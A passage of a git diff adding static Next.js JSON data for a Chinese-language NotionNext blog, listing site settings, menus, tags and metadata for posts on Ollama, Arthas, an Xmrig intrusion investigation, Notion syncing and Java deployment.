,"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"spring"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\267\245\345\205\267.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\267\245\345\205\267.json"
new file mode 100644
index 000000000..0d827edbe
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\267\245\345\205\267.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 